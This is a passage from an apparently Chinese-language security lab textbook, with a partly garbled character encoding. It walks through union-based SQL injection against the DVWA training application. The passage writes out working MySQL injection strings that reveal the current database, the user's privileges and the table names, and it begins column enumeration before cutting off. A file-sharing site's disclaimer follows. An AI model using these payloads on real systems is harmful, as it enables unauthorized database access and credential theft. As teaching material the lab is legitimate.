(shù)據(jù)表,但還是不能獲取當(dāng)前使用的數(shù)據(jù)庫。5.4項(xiàng)目訓(xùn)練在MySQL中,database()函數(shù)用于獲取當(dāng)前使用的數(shù)據(jù)庫,使用注入語句“1'unionselect1,database()frominformation_schema.tables#”,獲取當(dāng)前使用的數(shù)據(jù)庫,提交后返回結(jié)果如圖所示5.4項(xiàng)目訓(xùn)練由圖5-20可以看出當(dāng)前數(shù)據(jù)庫為“dvwa”。為了順利執(zhí)行注入語句,要知道當(dāng)前用戶的權(quán)限。在MySQL中,user()函數(shù)用于獲取當(dāng)前用戶,注入語句為“1'unionselectuser(),database()#”,提交后返回結(jié)果如圖5-21所示,由返回結(jié)果可以看出用戶為“root@localhost”,具有完全控制權(quán)限。5.4項(xiàng)目訓(xùn)練10、獲取到了數(shù)據(jù)庫,也獲取到了數(shù)據(jù)庫權(quán)限,可以進(jìn)一步暴出數(shù)據(jù)庫中的數(shù)據(jù)表,使用注入語句“1'unionselect1,table_namefrominformation_schema.tableswheretable_schema='dvwa'#”;將dvwa庫中的數(shù)據(jù)表暴出,如下圖所示:使用group_concat()與concat()兩個(gè)函數(shù)的目的是將獲取的多列數(shù)據(jù)合并為一列,以滿足聯(lián)合查詢時(shí)對(duì)列數(shù)限制。在上面的注入操作中,因不知道dvwa庫中多少個(gè)表,因此可以將,多個(gè)表合并為一列,以滿足兩列限制。從上面返回結(jié)果可以看到數(shù)字1為一列,guestbook,users為第二列。5.4項(xiàng)目訓(xùn)練11、實(shí)驗(yàn)到現(xiàn)在為止,都是在為暴數(shù)據(jù)做信息收集。下一步就是將dvwa數(shù)據(jù)庫中users數(shù)據(jù)表中的數(shù)據(jù)進(jìn)行暴庫,在具體暴庫前,需要搜集的最后一個(gè)信息,就是將數(shù)據(jù)表中的列字段進(jìn)行暴破。爆破列字段可以使用注入語句“1'union

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論